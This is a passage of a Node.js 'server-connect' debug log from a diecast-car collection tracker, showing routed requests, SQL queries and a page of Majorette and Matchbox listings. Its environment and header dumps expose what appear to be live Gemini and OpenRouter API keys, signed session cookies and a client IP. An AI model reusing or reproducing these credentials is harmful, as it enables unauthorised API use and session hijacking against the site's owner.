    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:04:34.890Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T07:04:34.891Z server-connect:app Executing action step identify
2026-02-04T07:04:34.891Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:34.891Z server-connect:output identity: 1
2026-02-04T07:04:34.891Z server-connect:app Executing action step restrict
2026-02-04T07:04:34.891Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:34.891Z server-connect:output restrict: undefined
2026-02-04T07:04:34.891Z server-connect:app Executing action step condition
2026-02-04T07:04:34.891Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T07:04:34.891Z server-connect:app Executing action step update
2026-02-04T07:04:34.892Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T07:04:34.892Z server-connect:output update: { affected: 1 }
2026-02-04T07:04:34.892Z server-connect:app Executing action step upload
2026-02-04T07:04:34.892Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T07:04:34.892Z server-connect:output upload_image: []
2026-02-04T07:04:34.892Z server-connect:app Executing action step repeat
2026-02-04T07:04:34.892Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T07:04:34.892Z server-connect:output repeat_images: []
2026-02-04T07:04:34.892Z server-connect:output condition: undefined
2026-02-04T07:04:35.198Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:04:35.199Z server-connect:app Executing action step identify
2026-02-04T07:04:35.199Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:35.199Z server-connect:output identity: 1
2026-02-04T07:04:35.199Z server-connect:app Executing action step restrict
2026-02-04T07:04:35.199Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:35.199Z server-connect:output restrict: undefined
2026-02-04T07:04:35.199Z server-connect:app Executing action step paged
2026-02-04T07:04:35.199Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:04:35.202Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 157,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:04:35.509Z server-connect:router Serving templateView /
2026-02-04T07:04:35.509Z server-connect:app Executing action step identify
2026-02-04T07:04:35.509Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:35.509Z server-connect:output identity: 1
2026-02-04T07:04:35.509Z server-connect:app Executing action step restrict
2026-02-04T07:04:35.509Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:04:35.510Z server-connect:output restrict: undefined
2026-02-04T07:04:35.510Z server-connect:app Executing action step restrict
2026-02-04T07:04:35.510Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:04:35.510Z server-connect:output restrict: undefined
2026-02-04T07:04:35.510Z server-connect:router Render template layouts/main
2026-02-04T07:04:35.510Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:04:39.263Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T07:04:39.263Z server-connect:app Executing action step identify
2026-02-04T07:04:39.263Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:39.264Z server-connect:output identity: 1
2026-02-04T07:04:39.264Z server-connect:app Executing action step restrict
2026-02-04T07:04:39.264Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:39.264Z server-connect:output restrict: undefined
2026-02-04T07:04:39.264Z server-connect:app Executing action step condition
2026-02-04T07:04:39.264Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T07:04:39.264Z server-connect:app Executing action step update
2026-02-04T07:04:39.264Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T07:04:39.265Z server-connect:output update: { affected: 1 }
2026-02-04T07:04:39.265Z server-connect:app Executing action step upload
2026-02-04T07:04:39.265Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T07:04:39.265Z server-connect:output upload_image: []
2026-02-04T07:04:39.265Z server-connect:app Executing action step repeat
2026-02-04T07:04:39.265Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
